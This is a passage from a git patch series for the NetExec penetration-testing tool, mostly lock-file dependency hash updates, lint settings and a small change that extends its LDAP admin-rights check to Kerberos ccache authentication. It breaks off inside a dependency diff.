"sha256:0b3dbf1e7e9bc95f4bac5e2fb6d3fb2f083254c3fdd20a1789af965caf2d2348"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-win32.whl", hash = "sha256:1e3f196a0c59b0cae9a0cd332eb1a4bda4696e863f4f1cf84ab0347992c548c2"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-win_amd64.whl", hash = "sha256:6ab60a5089a8f02009f127806f777fca82581c49e127f08413a66056bd9166dd"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b1f09b6821406ea1f94053f346f28f8215e293344209129a9c0fcc3578598d7b"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1936af879e3db023601196a1684d28e12f19ccf93af01bf3280a3262c4b6b4e5"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2ac41acfc8d965fb0c464eb8f44995770239668956dc4cdf502d1b1ffe0d747"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:81c24e0c0fde47a9723c81d5806569cddef103aebbf79dbc9fcbb617153dea30"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:23a8825495d8b195c4aa9ff1c430c28f2c821e8c5e2d98089228af887e5d7e29"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:60c578c45c949f909a4026b7807044e7e564adf793537fc762b2489d522f3d11"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-win32.whl", hash = "sha256:118c16cd3f1b00c76d69343e38602006c9cfb9998fa4f798606d28d63f23beda"}, + {file = "sqlalchemy-2.0.41-cp310-cp310-win_amd64.whl", hash = "sha256:7492967c3386df69f80cf67efd665c0f667cee67032090fe01d7d74b0e19bb08"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6375cd674fe82d7aa9816d1cb96ec592bac1726c11e0cafbf40eeee9a4516b5f"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9f8c9fdd15a55d9465e590a402f42082705d66b05afc3ffd2d2eb3c6ba919560"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:32f9dc8c44acdee06c8fc6440db9eae8b4af8b01e4b1aee7bdd7241c22edff4f"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90c11ceb9a1f482c752a71f203a81858625d8df5746d787a4786bca4ffdf71c6"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:911cc493ebd60de5f285bcae0491a60b4f2a9f0f5c270edd1c4dbaef7a38fc04"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:03968a349db483936c249f4d9cd14ff2c296adfa1290b660ba6516f973139582"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-win32.whl", hash = "sha256:293cd444d82b18da48c9f71cd7005844dbbd06ca19be1ccf6779154439eec0b8"}, + {file = "sqlalchemy-2.0.41-cp311-cp311-win_amd64.whl", hash = "sha256:3d3549fc3e40667ec7199033a4e40a2f669898a00a7b18a931d3efb4c7900504"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:81f413674d85cfd0dfcd6512e10e0f33c19c21860342a4890c3a2b59479929f9"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:598d9ebc1e796431bbd068e41e4de4dc34312b7aa3292571bb3674a0cb415dd1"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a104c5694dfd2d864a6f91b0956eb5d5883234119cb40010115fd45a16da5e70"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6145afea51ff0af7f2564a05fa95eb46f542919e6523729663a5d285ecb3cf5e"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b46fa6eae1cd1c20e6e6f44e19984d438b6b2d8616d21d783d150df714f44078"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41836fe661cc98abfae476e14ba1906220f92c4e528771a8a3ae6a151242d2ae"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-win32.whl", hash = "sha256:a8808d5cf866c781150d36a3c8eb3adccfa41a8105d031bf27e92c251e3969d6"}, + {file = "sqlalchemy-2.0.41-cp312-cp312-win_amd64.whl", hash = "sha256:5b14e97886199c1f52c14629c11d90c11fbb09e9334fa7bb5f6d068d9ced0ce0"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:4eeb195cdedaf17aab6b247894ff2734dcead6c08f748e617bfe05bd5a218443"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d4ae769b9c1c7757e4ccce94b0641bc203bbdf43ba7a2413ab2523d8d047d8dc"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a62448526dd9ed3e3beedc93df9bb6b55a436ed1474db31a2af13b313a70a7e1"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc56c9788617b8964ad02e8fcfeed4001c1f8ba91a9e1f31483c0dffb207002a"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c153265408d18de4cc5ded1941dcd8315894572cddd3c58df5d5b5705b3fa28d"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f67766965996e63bb46cfbf2ce5355fc32d9dd3b8ad7e536a920ff9ee422e23"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-win32.whl", hash = "sha256:bfc9064f6658a3d1cadeaa0ba07570b83ce6801a1314985bf98ec9b95d74e15f"}, + {file = "sqlalchemy-2.0.41-cp313-cp313-win_amd64.whl", hash = "sha256:82ca366a844eb551daff9d2e6e7a9e5e76d2612c8564f58db6c19a726869c1df"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:90144d3b0c8b139408da50196c5cad2a6909b51b23df1f0538411cd23ffa45d3"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:023b3ee6169969beea3bb72312e44d8b7c27c75b347942d943cf49397b7edeb5"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:725875a63abf7c399d4548e686debb65cdc2549e1825437096a0af1f7e374814"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:81965cc20848ab06583506ef54e37cf15c83c7e619df2ad16807c03100745dea"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dd5ec3aa6ae6e4d5b5de9357d2133c07be1aff6405b136dad753a16afb6717dd"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ff8e80c4c4932c10493ff97028decfdb622de69cae87e0f127a7ebe32b4069c6"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-win32.whl", hash = "sha256:4d44522480e0bf34c3d63167b8cfa7289c1c54264c2950cc5fc26e7850967e45"}, + {file = "sqlalchemy-2.0.41-cp38-cp38-win_amd64.whl", hash = "sha256:81eedafa609917040d39aa9332e25881a8e7a0862495fcdf2023a9667209deda"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9a420a91913092d1e20c86a2f5f1fc85c1a8924dbcaf5e0586df8aceb09c9cc2"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:906e6b0d7d452e9a98e5ab8507c0da791856b2380fdee61b765632bb8698026f"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a373a400f3e9bac95ba2a06372c4fd1412a7cee53c37fc6c05f829bf672b8769"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:087b6b52de812741c27231b5a3586384d60c353fbd0e2f81405a814b5591dc8b"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:34ea30ab3ec98355235972dadc497bb659cc75f8292b760394824fab9cf39826"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8280856dd7c6a68ab3a164b4a4b1c51f7691f6d04af4d4ca23d6ecf2261b7923"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-win32.whl", hash = "sha256:b50eab9994d64f4a823ff99a0ed28a6903224ddbe7fef56a6dd865eec9243440"}, + {file = "sqlalchemy-2.0.41-cp39-cp39-win_amd64.whl", hash = "sha256:5e22575d169529ac3e0a120cf050ec9daa94b6a9597993d1702884f6954a7d71"}, + {file = "sqlalchemy-2.0.41-py3-none-any.whl", hash = "sha256:57df5dc6fdb5ed1a88a1ed2195fd31927e705cad62dedd86b46972752a80f576"}, + {file = "sqlalchemy-2.0.41.tar.gz", hash = "sha256:edba70118c4be3c2b1f90754d308d0b79c6fe2c0fdc52d8ddf603916f83f4db9"}, ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} +greenlet = {version = ">=1", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} typing-extensions = ">=4.6.0" [package.extras] -aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"] -aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] -aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"] -asyncio = ["greenlet (!=0.4.17)"] -asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] +aiomysql = ["aiomysql (>=0.2.0)", "greenlet (>=1)"] +aioodbc = ["aioodbc", "greenlet (>=1)"] +aiosqlite = ["aiosqlite", "greenlet (>=1)", "typing_extensions (!=3.10.0.1)"] +asyncio = ["greenlet (>=1)"] +asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (>=1)"] mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] @@ -2196,7 +2256,7 @@ mysql-connector = ["mysql-connector-python"] oracle = ["cx_oracle (>=8)"] oracle-oracledb = ["oracledb (>=1.0.1)"] postgresql = ["psycopg2 (>=2.7)"] -postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] +postgresql-asyncpg = ["asyncpg", "greenlet (>=1)"] postgresql-pg8000 = ["pg8000 (>=1.29.1)"] postgresql-psycopg = ["psycopg (>=3.0.7)"] postgresql-psycopg2binary = ["psycopg2-binary"] @@ -2207,49 +2267,44 @@ sqlcipher = ["sqlcipher3_binary"] [[package]] name = "sspilib" -version = "0.2.0" +version = "0.3.1" description = "SSPI API bindings for Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] markers = "sys_platform == \"win32\"" files = [ - {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, - {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, - {file = "sspilib-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e82f87d77a9da62ce1eac22f752511a99495840177714c772a9d27b75220f78"}, - {file = "sspilib-0.2.0-cp310-cp310-win32.whl", hash = "sha256:e436fa09bcf353a364a74b3ef6910d936fa8cd1493f136e517a9a7e11b319c57"}, - {file = "sspilib-0.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:850a17c98d2b8579b183ce37a8df97d050bc5b31ab13f5a6d9e39c9692fe3754"}, - {file = "sspilib-0.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:a4d788a53b8db6d1caafba36887d5ac2087e6b6be6f01eb48f8afea6b646dbb5"}, - {file = "sspilib-0.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e0943204c8ba732966fdc5b69e33cf61d8dc6b24e6ed875f32055d9d7e2f76cd"}, - {file = "sspilib-0.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d1cdfc5ec2f151f26e21aa50ccc7f9848c969d6f78264ae4f38347609f6722df"}, - {file = "sspilib-0.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a6c33495a3de1552120c4a99219ebdd70e3849717867b8cae3a6a2f98fef405"}, - {file = "sspilib-0.2.0-cp311-cp311-win32.whl", hash = "sha256:400d5922c2c2261009921157c4b43d868e84640ad86e4dc84c95b07e5cc38ac6"}, - {file = "sspilib-0.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3e7d19c16ba9189ef8687b591503db06cfb9c5eb32ab1ca3bb9ebc1a8a5f35c"}, - {file = "sspilib-0.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:f65c52ead8ce95eb78a79306fe4269ee572ef3e4dcc108d250d5933da2455ecc"}, - {file = "sspilib-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:abac93a90335590b49ef1fc162b538576249c7f58aec0c7bcfb4b860513979b4"}, - {file = "sspilib-0.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1208720d8e431af674c5645cec365224d035f241444d5faa15dc74023ece1277"}, - {file = "sspilib-0.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48dceb871ecf9cf83abdd0e6db5326e885e574f1897f6ae87d736ff558f4bfa"}, - {file = "sspilib-0.2.0-cp312-cp312-win32.whl", hash = "sha256:bdf9a4f424add02951e1f01f47441d2e69a9910471e99c2c88660bd8e184d7f8"}, - {file = "sspilib-0.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:40a97ca83e503a175d1dc9461836994e47e8b9bcf56cab81a2c22e27f1993079"}, - {file = "sspilib-0.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:8ffc09819a37005c66a580ff44f544775f9745d5ed1ceeb37df4e5ff128adf36"}, - {file = "sspilib-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:40ff410b64198cf1d704718754fc5fe7b9609e0c49bf85c970f64c6fc2786db4"}, - {file = "sspilib-0.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02d8e0b6033de8ccf509ba44fdcda7e196cdedc0f8cf19eb22c5e4117187c82f"}, - {file = "sspilib-0.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad7943fe14f8f6d72623ab6401991aa39a2b597bdb25e531741b37932402480f"}, - {file = "sspilib-0.2.0-cp313-cp313-win32.whl", hash = "sha256:b9044d6020aa88d512e7557694fe734a243801f9a6874e1c214451eebe493d92"}, - {file = "sspilib-0.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:c39a698491f43618efca8776a40fb7201d08c415c507f899f0df5ada15abefaa"}, - {file = "sspilib-0.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:863b7b214517b09367511c0ef931370f0386ed2c7c5613092bf9b106114c4a0e"}, - {file = "sspilib-0.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a0ede7afba32f2b681196c0b8520617d99dc5d0691d04884d59b476e31b41286"}, - {file = "sspilib-0.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bd95df50efb6586054963950c8fa91ef994fb73c5c022c6f85b16f702c5314da"}, - {file = "sspilib-0.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9460258d3dc3f71cc4dcfd6ac078e2fe26f272faea907384b7dd52cb91d9ddcc"}, - {file = "sspilib-0.2.0-cp38-cp38-win32.whl", hash = "sha256:6fa9d97671348b97567020d82fe36c4211a2cacf02abbccbd8995afbf3a40bfc"}, - {file = "sspilib-0.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:32422ad7406adece12d7c385019b34e3e35ff88a7c8f3d7c062da421772e7bfa"}, - {file = "sspilib-0.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6944a0d7fe64f88c9bde3498591acdb25b178902287919b962c398ed145f71b9"}, - {file = "sspilib-0.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0216344629b0f39c2193adb74d7e1bed67f1bbd619e426040674b7629407eba9"}, - {file = "sspilib-0.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c5f84b9f614447fc451620c5c44001ed48fead3084c7c9f2b9cefe1f4c5c3d0"}, - {file = "sspilib-0.2.0-cp39-cp39-win32.whl", hash = "sha256:b290eb90bf8b8136b0a61b189629442052e1a664bd78db82928ec1e81b681fb5"}, - {file = "sspilib-0.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:404c16e698476e500a7fe67be5457fadd52d8bdc9aeb6c554782c8f366cc4fc9"}, - {file = "sspilib-0.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:8697e5dd9229cd3367bca49fba74e02f867759d1d416a717e26c3088041b9814"}, - {file = "sspilib-0.2.0.tar.gz", hash = "sha256:4d6cd4290ca82f40705efeb5e9107f7abcd5e647cb201a3d04371305938615b8"}, + {file = "sspilib-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:c45860bdc4793af572d365434020ff5a1ef78c42a2fc2c7a7d8e44eacaf475b6"}, + {file = "sspilib-0.3.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:62cc4de547503dec13b81a6af82b398e9ef53ea82c3535418d7d069c7a05d5cd"}, + {file = "sspilib-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f782214ae2876fe4e54d1dd54638a2e0877c32d03493926f7f3adf5253cf0e3f"}, + {file = "sspilib-0.3.1-cp310-cp310-win32.whl", hash = "sha256:d8e54aee722faed9efde96128bc56a5895889b5ed96011ad3c8e87efe8391d40"}, + {file = "sspilib-0.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:cdaa7bd965951cc6d032555ed87a575edba959338431a6cae3fcbfc174bb6de0"}, + {file = "sspilib-0.3.1-cp310-cp310-win_arm64.whl", hash = "sha256:08674256a42be6ab0481cb781f4079a46afd6b3ee73ad2569badbc88e556aa4d"}, + {file = "sspilib-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:3a31991a34d1ac96e6f33981e1d368f56b6cf7863609c8ba681b9e1307721168"}, + {file = "sspilib-0.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e1c7fb3e40a281cdd0cfa701265fb78981f88d4c55c5e267caa63649aa490fc1"}, + {file = "sspilib-0.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f57e4384203e96ead5038fc327a695c8c268701a22c870e109ea67fbdcfd2ac0"}, + {file = "sspilib-0.3.1-cp311-cp311-win32.whl", hash = "sha256:c4745eb177773661211d5bf1dd3ef780a1fe7fbafe1392d3fdd8a5f520ec0fec"}, + {file = "sspilib-0.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:dfdd841bcd88af16c4f3d9f81f170b696e8ecfa18a4d16a571f755b5e0e8e43e"}, + {file = "sspilib-0.3.1-cp311-cp311-win_arm64.whl", hash = "sha256:a1d41eb2daf9db3d60414e87f86962db4bb4e0c517794879b0d47f1a17cc58ba"}, + {file = "sspilib-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e3e5163656bd14f0cac2c0dd2c777a272af00cecdba0e98ed5ef28c7185328b0"}, + {file = "sspilib-0.3.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86aef2f824db862fb25066df286d2d0d35cf7da85474893eb573870a731b6691"}, + {file = "sspilib-0.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c6d11fd6e47ba964881c8980476354259bf0b570fa32b986697f7681b1fc5be"}, + {file = "sspilib-0.3.1-cp312-cp312-win32.whl", hash = "sha256:429ecda4c8ee587f734bdfc1fefaa196165bbd1f1c7980e0e49c89b60a6c956e"}, + {file = "sspilib-0.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:3355cfc5f3d5c257dbab2396d83493330ca952f9c28f3fe964193ababcc8c293"}, + {file = "sspilib-0.3.1-cp312-cp312-win_arm64.whl", hash = "sha256:2edc804f769dcaf0bdfcde06e0abc47763b58c79f1b7be40f805d33c7fc057fd"}, + {file = "sspilib-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:89b107704bd1ab84aff76b0b36538790cdfef233d4857b8cfebf53bd43ccf49c"}, + {file = "sspilib-0.3.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6c86e12b95bbe01ac89c0bd1083d01286fe3b0b4ecd63d4c03d4b39d7564a11f"}, + {file = "sspilib-0.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dea04c7da5fef0bf2e94c9e7e0ffdf52588b706c4df63c733c60c70731f334ba"}, + {file = "sspilib-0.3.1-cp313-cp313-win32.whl", hash = "sha256:89ccacb390b15e2e807e20b8ae7e96f4724ff1fa2f48b1ba0f7d18ccc9b0d581"}, + {file = "sspilib-0.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:21a26264df883ff6d367af60fdeb42476c7efb1dbfc5818970ac39edec3912e2"}, + {file = "sspilib-0.3.1-cp313-cp313-win_arm64.whl", hash = "sha256:44b89f866e0d14c8393dbc5a49c59296dd7b83a7ca97a0f9d6bd49cc46a04498"}, + {file = "sspilib-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:3c8914db71560cac25476a9f7c17412ccaecc441e798ad018492d2a488a1289c"}, + {file = "sspilib-0.3.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:656a15406eacde8cf933ec7282094bbfa0d489db3ebfef492308f3036c843f30"}, + {file = "sspilib-0.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8bb8d4504f2c98053ac924a5e1675d21955fcb309bd7247719fd09ce22ac37db"}, + {file = "sspilib-0.3.1-cp39-cp39-win32.whl", hash = "sha256:35168f39c6c1db9205eb02457d01175b7de32af543c7a51d657d1c12515fe422"}, + {file = "sspilib-0.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:6fa91c59af0b4e0b4e9f90908289977fe0240be63eee8b40a934abd424e9c3ba"}, + {file = "sspilib-0.3.1-cp39-cp39-win_arm64.whl", hash = "sha256:2812930555f693d4cffa0961c5088a4094889d1863d998c59162aa867dfc6be0"}, + {file = "sspilib-0.3.1.tar.gz", hash = "sha256:6df074ee54e3bd9c1bccc84233b1ceb846367ba1397dc52b5fae2846f373b154"}, ] [[package]] @@ -2269,14 +2324,14 @@ widechars = ["wcwidth"] [[package]] name = "termcolor" -version = "2.5.0" +version = "3.1.0" description = "ANSI color formatting for output in terminal" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, - {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, + {file = "termcolor-3.1.0-py3-none-any.whl", hash = "sha256:591dd26b5c2ce03b9e43f391264626557873ce1d379019786f99b0c2bee140aa"}, + {file = "termcolor-3.1.0.tar.gz", hash = "sha256:6a6dd7fbee581909eeec6a756cff1d7f7c376063b14e4a298dc4980309e55970"}, ] [package.extras] @@ -2361,15 +2416,16 @@ telegram = ["requests"] [[package]] name = "typing-extensions" -version = "4.12.2" +version = "4.13.2" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" -groups = ["main"] +groups = ["main", "dev"] files = [ - {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, - {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, + {file = "typing_extensions-4.13.2-py3-none-any.whl", hash = "sha256:a439e7c04b49fec3e5d3e2beaa21755cadbbdc391694e28ccdd36ca4a1408f8c"}, + {file = "typing_extensions-4.13.2.tar.gz", hash = "sha256:e6c81219bd689f51865d9e372991c540bda33a0379d5573cddb9a3a23f7caaef"}, ] +markers = {dev = "python_version < \"3.11\""} [[package]] name = "unicrypto" @@ -2387,14 +2443,14 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.3.0" +version = "2.4.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "urllib3-2.3.0-py3-none-any.whl", hash = "sha256:1cee9ad369867bfdbbb48b7dd50374c0967a0bb7710050facf0dd6911440e3df"}, - {file = "urllib3-2.3.0.tar.gz", hash = "sha256:f8c5449b3cf0861679ce7e0503c7b44b5ec981bec0d1d3795a07f1ba96f0204d"}, + {file = "urllib3-2.4.0-py3-none-any.whl", hash = "sha256:4e16665048960a0900c702d4a66415956a584919c03361cac9f1df5c5dd7e813"}, + {file = "urllib3-2.4.0.tar.gz", hash = "sha256:414bc6535b787febd7567804cc015fee39daab8ad86268f1310a9250697de466"}, ] [package.extras] diff --git a/pyproject.toml b/pyproject.toml index 02ca486080..f002b8387e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -106,7 +106,8 @@ ignore = [ "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012", "RUF052", "RUF059" + "PERF203", "RUF012", "RUF052", "RUF059", "SIM103", "SIM113", "SIM115", "UP031", + "B909", "RUF029" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index f4da5c0945..f2e5479c84 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -38,7 +38,7 @@ def db_setup(db_engine): delete_workspace("test") -@pytest.fixture() +@pytest.fixture def db(db_setup): yield db_setup db_setup.clear_database() From af6b69d8dc2c06e376e8710384ab10a8b6707254 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 14:59:58 -0700 Subject: [PATCH 101/103] Extend LDAP admin check to ccache auth Signed-off-by: Fox <22664861+Mercury0@users.noreply.github.com> --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index a1f709db6c..396928c7d6 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -655,7 +655,7 @@ def check_if_admin(self): resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) answers = [] - if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "": + if resp and ((self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") or self.ldap_connection) and self.username != "": for item in resp_parsed: self.sid_domain = "-".join(item["objectSid"].split("-")[:-1]) From 3665d051033e54e99d6f186f487281f66de5a76d Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 18:34:46 -0700 Subject: [PATCH 102/103] Update pyproject.toml to utilize BLS fork of Bloodhound.py CE branch --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index f002b8387e..c1b2eb792a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -21,7 +21,6 @@ dependencies = [ "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", - "bloodhound>=1.8.0", "dploot>=3.1.0", "dsinternals>=1.2.4", "jwt>=1.3.1", @@ -47,6 